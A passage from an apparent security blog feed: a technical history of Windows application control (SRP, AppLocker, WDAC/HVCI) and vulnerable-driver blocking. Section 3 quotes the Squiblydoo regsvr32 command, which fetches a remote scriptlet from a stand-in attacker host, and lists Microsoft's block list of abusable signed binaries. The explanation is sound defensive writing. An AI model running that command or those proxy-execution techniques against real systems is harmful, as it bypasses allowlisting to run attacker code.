  { term: &quot;App Control for Business&quot;, definition: &quot;Microsoft&apos;s policy-driven application control engine, formerly WDAC. Used for both deny lists (the block list) and enterprise allowlists.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Consumer-facing front end for App Control, backed by ISG cloud reputation. Available on clean Windows 11 22H2+ installs only.&quot; },
  { term: &quot;SBOM&quot;, definition: &quot;Software Bill of Materials. Machine-readable inventory of components and dependencies. Mandatory for WHCP submissions from H2 2026.&quot; },
  { term: &quot;DriverKit&quot;, definition: &quot;Apple&apos;s user-space driver framework. Third-party drivers ship as sandboxed dexts rather than kernel extensions; the BYOVD class is eliminated by construction.&quot; },
]} questions={[
  { q: &quot;Why did the Windows kernel-driver signing policy have to wait until Vista x64 to become mandatory?&quot;, a: &quot;The advisory SetupAPI-prompt model on 32-bit Windows could not be made mandatory without breaking compatibility with decades of unsigned drivers. The x64 architecture was a young platform with relatively few drivers in the field, which let Microsoft make the load-time signature requirement mandatory without disrupting an installed base.&quot; },
  { q: &quot;What single property of HVCI makes the g_CiOptions patching technique stop working?&quot;, a: &quot;HVCI runs the signature-verification and policy-consultation logic inside VTL1&apos;s Secure Kernel and uses Kernel Data Protection, exposed to VTL0 drivers as MmProtectDriverSection, to mark the VTL0 page containing g_CiOptions read-only at the second-level address translation level. The variable still resides in ci.dll&apos;s VTL0 data section, but a VTL0 ring-zero write to it faults because the SLAT mapping refuses the write -- and a live-kernel debugger attached to VTL0 cannot bypass that protection either.&quot; },
  { q: &quot;Why does Microsoft document that the published block list is more inclusive than the shipped one?&quot;, a: &quot;Some entries in the published list would block drivers that legitimate environments still depend on. Microsoft holds those entries back from the in-box DriverSiPolicy.p7b to avoid breaking existing functionality, while leaving them available in the source XML for defenders who can author their own App Control policies and accept the compatibility risk.&quot; },
  { q: &quot;Why is the BYOVD class undecidable to gate at the signing stage?&quot;, a: &quot;Whether an arbitrary signed driver exposes a kernel-write primitive through its IOCTL surface is a non-trivial semantic property of the driver&apos;s program text. Rice&apos;s theorem says no algorithm decides such properties for all programs. Static and dynamic analyses catch decidable subsets; the unrestricted class admits no complete solution.&quot; },
  { q: &quot;Why can Windows not simply move third-party drivers to user space the way macOS DriverKit did?&quot;, a: &quot;Apple owns its hardware vendors and could impose a multi-year migration on a comparatively centralised vendor community. Windows&apos; third-party IHV base is much larger and more independent; breaking compatibility with twenty years of shipped kernel drivers would impose unbounded migration cost on parties Microsoft does not direct.&quot; },
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-kernel</category><category>code-signing</category><category>hvci</category><category>byovd</category><category>driver-block-list</category><category>secure-kernel</category><category>app-control</category><category>kmcs</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>WDAC + HVCI: Code Integrity at Every Layer in Windows</title><link>https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/</link><guid isPermaLink="true">https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/</guid><description>How Windows decides which code is allowed to run, end-to-end: WDAC policy schema, HVCI per-VTL SLAT enforcement, the audit-to-enforce loop, and the residual attack surface neither feature can close.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Windows enforces &quot;which code is allowed to run&quot; through two coupled primitives.** WDAC is an XML-schema policy that the in-kernel `CI.dll` evaluates at every PE load. HVCI is the hypervisor-rooted check that runs `SkCi.dll` inside Virtual Trust Level 1, where the VTL0 kernel cannot reach it. Together they form the runtime enforcement loop on top of the App Identity primitives, and together they refuse the 8-microsecond signed-driver load that opens this article. This piece walks the policy schema, the audit-to-enforce migration discipline, the per-VTL SLAT state machine, the Vulnerable Driver Block List, and the residual attack surface (return-oriented programming, signed living-off-the-land binaries, hypervisor rollback) that the loop cannot close.
&lt;h2&gt;1. Signed Code Still Isn&apos;t Trusted Code&lt;/h2&gt;
&lt;p&gt;A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is &lt;code&gt;dbutil_2_3.sys&lt;/code&gt;, a real Dell utility tracked as CVE-2021-21551 [@nvd-cve-2021-21551], with an authentic Microsoft-trusted certificate in its embedded signature. The &lt;code&gt;sc.exe create&lt;/code&gt; call returns success. The &lt;code&gt;StartService&lt;/code&gt; call spins for roughly eight microseconds. Then the driver fails to load with &lt;code&gt;ERROR_DRIVER_BLOCKED&lt;/code&gt;, and the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event log lights up with event 3033 [@ms-driver-blocklist].&lt;/p&gt;
&lt;p&gt;The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021 [@sentinelone-dbutil], signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.&lt;/p&gt;

A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is *signed* and *trusted* by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell `dbutil_2_3.sys` driver and the MSI Afterburner `RTCore64.sys` driver are the canonical 2018-2024 examples (CVE-2019-16098 [@nvd-cve-2019-16098], CVE-2021-21551 [@nvd-cve-2021-21551]).
&lt;p&gt;That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. &lt;em&gt;Which&lt;/em&gt; Windows component refused the load? &lt;em&gt;What&lt;/em&gt; policy language did it consult? &lt;em&gt;How&lt;/em&gt; did that policy reach the device? And, most uncomfortably, &lt;em&gt;which&lt;/em&gt; classes of attack would still get to the kernel anyway?&lt;/p&gt;
&lt;p&gt;This piece sits alongside an earlier post on App Identity [@paragmali-com-app-ide].The App Identity post covers &lt;em&gt;what code identity is&lt;/em&gt; in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues &lt;em&gt;what Windows does with that identity at every page-fault&lt;/em&gt;. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity covers what Windows means by &quot;this is the same bag of bytes the publisher signed,&quot; what follows is what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that section five will earn: &lt;em&gt;code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.&lt;/em&gt;&lt;/p&gt;

sequenceDiagram
    participant Op as Operator (sc.exe)
    participant SCM as Service Control Manager
    participant NT as NT Loader (NtLoadDriver)
    participant CI as CI.dll (VTL0)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as Hypervisor SLAT
    Op-&amp;gt;&amp;gt;SCM: sc.exe create / start
    SCM-&amp;gt;&amp;gt;NT: NtLoadDriver(\dbutil_2_3.sys)
    NT-&amp;gt;&amp;gt;CI: Validate Authenticode + policy
    CI-&amp;gt;&amp;gt;Sk: Secure call: revalidate + check Block List
    Sk-&amp;gt;&amp;gt;Sk: Hash matches Block List entry
    Sk--&amp;gt;&amp;gt;SLAT: Refuse W-&amp;gt;X promotion
    SLAT--&amp;gt;&amp;gt;NT: Page-fault on first execute
    NT--&amp;gt;&amp;gt;SCM: STATUS_DRIVER_BLOCKED
    SCM--&amp;gt;&amp;gt;Op: ERROR_DRIVER_BLOCKED + event 3033
&lt;p&gt;But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.&lt;/p&gt;
&lt;h2&gt;2. Historical Origins: The 1990s Free-for-All and the Birth of &quot;Path Is Not Identity&quot;&lt;/h2&gt;
&lt;p&gt;In 2001, a Windows XP user double-clicked a &lt;code&gt;.vbs&lt;/code&gt; attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; [@cohen-eecs588], that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the &lt;em&gt;opposite&lt;/em&gt; of detection: an explicit allowlist.&lt;/p&gt;
&lt;p&gt;Authenticode existed since Internet Explorer 3 in 1996, but it was &lt;em&gt;advisory&lt;/em&gt; -- a &quot;Security Warning&quot; dialog the user could click past. The first OS-level &lt;em&gt;enforcement&lt;/em&gt; primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP) [@learn-microsoft-com-2003-cc782792vws10]). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.&lt;/p&gt;

The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the Safer API call `SaferIdentifyLevel` [@learn-microsoft-com-2003-cc786941vws10]). Deployment is Group Policy only; storage post-download is the registry. SRP was deprecated in Windows 10 build 1803 [@ms-srp-deprecated], with Microsoft&apos;s documentation explicitly redirecting to AppLocker or WDAC.

Microsoft&apos;s PE-image signing scheme [@ms-authenticode-ref], introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file&apos;s digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by Kernel Mode Code Signing [@ms-acfb-overview], Smart App Control, and the WDAC `Signers` element discussed later in this article.
&lt;p&gt;SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the &lt;em&gt;first&lt;/em&gt; of those four. Path rules looked elegant on paper -- &quot;trust everything in &lt;code&gt;C:\Program Files&lt;/code&gt;&quot; -- and lethal in practice, because a path is not a property of a binary. A path is the &lt;em&gt;coordinates of a place&lt;/em&gt; a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under &lt;code&gt;%TEMP%&lt;/code&gt;, &lt;code&gt;%APPDATA%&lt;/code&gt;, and various inherited-permission folders under &lt;code&gt;C:\Program Files&lt;/code&gt; itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC&apos;s path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.&lt;/p&gt;
&lt;/blockquote&gt;

gantt
    title Windows app-control + HVCI lineage 2001-2025
    dateFormat  YYYY-MM
    section App-control rail
    SRP (Windows XP)                  :2001-10, 17M
    AppLocker (Windows 7)             :2009-10, 72M
    Configurable CI (Windows 10 1507) :2015-07, 27M
    WDAC rename (1703/1709) + ISG/MI  :2017-04, 24M
    Multi-policy WDAC (1903)          :2019-05, 60M
    ACfB rebrand (2024)               :2024-01, 24M
    section HVCI / VBS rail
    HVCI in Device Guard (1507)       :2015-07, 13M
    HVCI rename (1607)                :2016-08, 20M
    MBEC/GMET reporting (1803)        :2018-04, 25M
    KDP (Windows 10 2004)             :2020-05, 16M
    Driver Block List GA (Win 11 22H2):2022-09, 24M
    KB5042562 Downdate fix            :2025-07, 5M
&lt;p&gt;The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which &quot;double-click runs anything.&quot; Microsoft&apos;s Trustworthy Computing memo dates to January 2002 [@microsoft-com-trustworthy-computing] -- Bill Gates&apos; company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer.Microsoft&apos;s own Windows Server 2003 SRP technical reference [@learn-microsoft-com-2003-cc786941vws10]) describes the architecture: when a user double-clicks an executable, the enforcement API &lt;code&gt;SaferIdentifyLevel&lt;/code&gt; is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.&lt;/p&gt;
&lt;p&gt;SRP showed the &lt;em&gt;shape&lt;/em&gt; of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on &lt;em&gt;granularity&lt;/em&gt; because path was its primary identity. It failed on &lt;em&gt;audience&lt;/em&gt; because it had no per-user or per-group scoping. And it failed on &lt;em&gt;surface&lt;/em&gt; because script hosts (&lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.&lt;/p&gt;
&lt;h2&gt;3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of &quot;Publisher Is Not Enough&quot;&lt;/h2&gt;
&lt;p&gt;April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: &lt;code&gt;regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll&lt;/code&gt;. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced [@casey-smith-wayback], and -- because every default Microsoft AppLocker policy allows binaries published by &lt;code&gt;O=Microsoft Corporation&lt;/code&gt; -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker&apos;s code under the user&apos;s token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname &lt;em&gt;Squiblydoo&lt;/em&gt;, gets MITRE ATT&amp;amp;CK ID T1218.010 [@mitre-t1218-010], gets used in campaigns targeting governments [@mitre-t1218-010], and gets the technique catalogued in the LOLBAS project [@lolbas-regsvr32].&lt;/p&gt;
&lt;p&gt;To understand why Smith&apos;s command was a class of failure rather than a specific bug, look at AppLocker&apos;s design. AppLocker shipped in Windows 7 and Server 2008 R2 (RTM July 2009; GA October 2009) [@wikipedia-windows-7] with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (&lt;code&gt;appidsvc&lt;/code&gt;) plus the &lt;code&gt;appid.sys&lt;/code&gt; filter driver [@wikipedia-applocker], so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.&lt;/p&gt;

The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the `appidsvc` service plus the `appid.sys` filter driver [@learn-microsoft-com-7-dd723678vws10]). Microsoft documents AppLocker today as &quot;a defense-in-depth security feature and not considered a defensible Windows security feature&quot; [@ms-applocker-overview] -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities.

A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The MITRE ATT&amp;amp;CK technique T1218 (&quot;System Binary Proxy Execution&quot;) [@mitre-t1218] catalogues the parent class. Microsoft&apos;s own bypass catalogue [@ms-bypass-catalogue] lists about forty Windows binaries that fall into this class.
&lt;p&gt;The Squiblydoo bypass is mechanical once you see it. AppLocker&apos;s publisher rule for &lt;code&gt;O=Microsoft Corporation&lt;/code&gt; says &lt;em&gt;yes&lt;/em&gt; to &lt;code&gt;regsvr32.exe&lt;/code&gt;. The argument-parsing code inside &lt;code&gt;regsvr32.exe&lt;/code&gt; is policy-blind -- it does not consult AppLocker before deciding to follow the &lt;code&gt;/i:URL&lt;/code&gt; flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user&apos;s token, with no on-disk artefact, with no registry footprint, with no need to escalate.&lt;/p&gt;

sequenceDiagram
    participant U as User session
    participant Reg as regsvr32.exe (signed)
    participant AL as AppLocker check
    participant Atk as attacker.com
    participant JS as JScript engine
    U-&amp;gt;&amp;gt;Reg: Spawn with /i:http://atk/x.sct scrobj.dll
    Reg-&amp;gt;&amp;gt;AL: Publisher = Microsoft Corp?
    AL--&amp;gt;&amp;gt;Reg: PASS (publisher rule allows)
    Reg-&amp;gt;&amp;gt;Atk: GET http://attacker/x.sct (proxy-aware, TLS-capable)
    Atk--&amp;gt;&amp;gt;Reg: Scriptlet (JScript COM)
    Reg-&amp;gt;&amp;gt;JS: Instantiate scriptlet in-process
    JS--&amp;gt;&amp;gt;Reg: Arbitrary code under user token
    Reg--&amp;gt;&amp;gt;AL: Process exit logged &quot;successful launch&quot;
&lt;p&gt;The bypass-research record is the size of a small university faculty. Microsoft&apos;s own bypass catalogue [@ms-bypass-catalogue] thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).&lt;/p&gt;
&lt;p&gt;The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;dnx.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;fsi.exe&lt;/code&gt;, &lt;code&gt;infdefaultinstall.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;kill.exe&lt;/code&gt;, &lt;code&gt;lxrun.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;ntkd.exe&lt;/code&gt;, &lt;code&gt;ntsd.exe&lt;/code&gt;, &lt;code&gt;powershellcustomhost.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, &lt;code&gt;texttransform.exe&lt;/code&gt;, &lt;code&gt;visualuiaverifynative.exe&lt;/code&gt;, &lt;code&gt;wfc.exe&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, and &lt;code&gt;wsl.exe&lt;/code&gt; are all explicitly listed.The MITRE ATT&amp;amp;CK record for T1218.010 (Regsvr32) [@mitre-t1218-010] credits Smith for the technique and dates its documented in-the-wild use to multiple &quot;campaigns targeting governments.&quot; The &quot;Squiblydoo&quot; nickname itself is widely attributed to Carbon Black&apos;s April 2016 threat advisory [@carbonblack-squiblydoo-2016], which MITRE cites as reference [3]. The LOLBAS project entry for &lt;code&gt;Regsvr32&lt;/code&gt; [@lolbas-regsvr32] preserves the verbatim AWL bypass syntax that Smith published.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;SRP (2001)&lt;/th&gt;
&lt;th&gt;AppLocker (2009)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Identity primitive&lt;/td&gt;
&lt;td&gt;Path / Hash / Cert / Zone&lt;/td&gt;
&lt;td&gt;Path / Hash / Publisher&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-user scoping&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement engine&lt;/td&gt;
&lt;td&gt;Safer API (&lt;code&gt;SaferIdentifyLevel&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;appidsvc&lt;/code&gt; + &lt;code&gt;appid.sys&lt;/code&gt; filter driver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Script-host coverage&lt;/td&gt;
&lt;td&gt;Opt-in per host&lt;/td&gt;
&lt;td&gt;Centrally enforced&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Canonical bypass class&lt;/td&gt;
&lt;td&gt;Path-rule writeable directories&lt;/td&gt;
&lt;td&gt;Squiblydoo / publisher-blind LOLBINs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSRC servicing&lt;/td&gt;
&lt;td&gt;Deprecated 2018&lt;/td&gt;
&lt;td&gt;Defense-in-depth only (not serviced)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Microsoft&apos;s own architectural surrender is in the AppLocker overview [@ms-applocker-overview] itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.&lt;/p&gt;

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview, 2026.

Two insights survive the AppLocker era. First, publisher-only identity is necessary but not sufficient: a bag of bytes signed by Microsoft can still host arbitrary attacker-supplied script. Second, the enforcement engine itself must be unkillable -- AppLocker&apos;s filter driver runs in the same VTL0 ring as the kernel an attacker may have compromised, so a SYSTEM-level kernel attacker can simply unload it. The next generation has to fix both. Microsoft fixed them on two parallel rails inside Windows 10.
&lt;h2&gt;4. The Evolution: Two Parallel Rails Converging on the Runtime Loop&lt;/h2&gt;
&lt;p&gt;From July 2015, Microsoft&apos;s answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker&apos;s policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the &lt;em&gt;kernel CI check itself&lt;/em&gt; underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.&lt;/p&gt;
&lt;h3&gt;4a. The WDAC Rail&lt;/h3&gt;
&lt;p&gt;Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history]. For the first time, Microsoft&apos;s app-control engine consumed an XML policy: a schema with &lt;code&gt;Signers&lt;/code&gt;, &lt;code&gt;FileRules&lt;/code&gt;, &lt;code&gt;SigningScenarios&lt;/code&gt;, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was &lt;code&gt;CI.dll&lt;/code&gt; [@ms-acfb-overview], and &lt;code&gt;CI.dll&lt;/code&gt; is still the engine binary today. CCI was, from day one, serviced under MSRC criteria [@ms-acfb-overview] -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.&lt;/p&gt;
&lt;p&gt;The 2017 rebranding decoupled the engine from the marketing. In October 2017 [@ms-2017-wdac-blog] Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that &quot;we estimate that only about 20% of our customers are using any type of application control technology.&quot; The same post announced the rename from &quot;configurable CI&quot; to &lt;em&gt;Windows Defender Application Control&lt;/em&gt;, and explained that the original Device Guard story had &quot;unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately.&quot;&lt;/p&gt;
&lt;p&gt;The post also disclosed that &quot;in the Windows 10 Creators Update (1703) [@wikipedia-w10-history] released last spring we introduced an option to WDAC called managed installer.&quot; Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature.This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.&lt;/p&gt;

A WDAC policy is an XML document conforming to the SiPolicy schema [@ms-rule-options], evaluated by `CI.dll` at every PE load. The same feature has had four names over a decade: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control* (2017), and *App Control for Business* (the 2024 rename [@ms-acfb-landing]). The binary, the schema, and the runtime loop are unchanged across the renames.

The XML schema that backs every WDAC policy. The eight load-bearing elements are `Rules` (policy options), `Signers` (signer identities), `FileRules` (the `Hash`, `FilePath`, `FileName`, `FilePublisher`, certificate-attribute family), `SigningScenarios` (which split kernel-mode from user-mode coverage), `HvciOptions` (the in-policy HVCI toggle), `UpdatePolicySigners` (who can replace the policy), `SupplementalPolicySigners` (who can add to it), and `CiSigners` (the trusted signer set in the user-mode scenario).

The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. Enabling rule option 14 [@ms-isg] tells WDAC to consult ISG for &quot;known good,&quot; &quot;known bad,&quot; or &quot;unknown&quot; verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG &quot;isn&apos;t recommended for devices that don&apos;t have regular access to the internet.&quot;
&lt;p&gt;The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC [@ms-deploy-multi]. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation&apos;s existing allowlist, without a merge-and-resign ceremony every quarter.The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment [@ms-deploy-multi] documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.&lt;/p&gt;
&lt;p&gt;The 2024 rename to &lt;em&gt;App Control for Business&lt;/em&gt; changed the URL path on Microsoft Learn and not much else. The binary is still &lt;code&gt;CI.dll&lt;/code&gt;; the schema is still &lt;code&gt;SiPolicy&lt;/code&gt;; the rule options are still numbered the same way. Throughout the rest of this article we will use &quot;WDAC&quot; for prose searchability, with the understanding that &quot;App Control for Business,&quot; &quot;configurable code integrity,&quot; and &quot;Device Guard kernel CI&quot; all refer to the same engine.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Four aliases for the same feature: &lt;em&gt;configurable code integrity&lt;/em&gt; (2015), &lt;em&gt;Windows Defender Device Guard&lt;/em&gt; (2015-2017), &lt;em&gt;Windows Defender Application Control / WDAC&lt;/em&gt; (2017-2024), and &lt;em&gt;App Control for Business / ACfB&lt;/em&gt; (2024-). All four consume the same &lt;code&gt;SiPolicy&lt;/code&gt; XML, run against the same &lt;code&gt;CI.dll&lt;/code&gt;, and emit events on the same &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel. We use &lt;em&gt;WDAC&lt;/em&gt; throughout for searchability; the App Control for Business documentation root [@ms-acfb-landing] is the canonical 2026 entry point.&lt;/p&gt;
&lt;/blockquote&gt;

flowchart LR
    Root[SiPolicy XML]
    Root --&amp;gt; Rules[Rules&lt;br /&gt;policy options 0-20+]
    Root --&amp;gt; Signers[Signers&lt;br /&gt;signer identities]
    Root --&amp;gt; FileRules[FileRules&lt;br /&gt;Hash, FilePath, FileName, FilePublisher]
    Root --&amp;gt; Scenarios[SigningScenarios&lt;br /&gt;KMCI 131, UMCI 12]
    Root --&amp;gt; Hvci[HvciOptions&lt;br /&gt;0, 1, 2, 4]
    Root --&amp;gt; Update[UpdatePolicySigners&lt;br /&gt;who may replace policy]
    Root --&amp;gt; Suppl[SupplementalPolicySigners&lt;br /&gt;who may augment]
    Root --&amp;gt; Ci[CiSigners&lt;br /&gt;trusted signer set in UMCI]
&lt;h3&gt;4b. The HVCI Rail&lt;/h3&gt;
&lt;p&gt;In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]), a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor [@paragmali-com-a-security], no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first.Rutkowska&apos;s Black Hat USA 2006 presentation [@rutkowska-bh2006] demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the &lt;em&gt;defender&apos;s&lt;/em&gt; substrate.&lt;/p&gt;
&lt;p&gt;Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history] on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. &lt;code&gt;SkCi.dll&lt;/code&gt; runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver&apos;s code pages from W to X [@ms-kdp-blog].&lt;/p&gt;

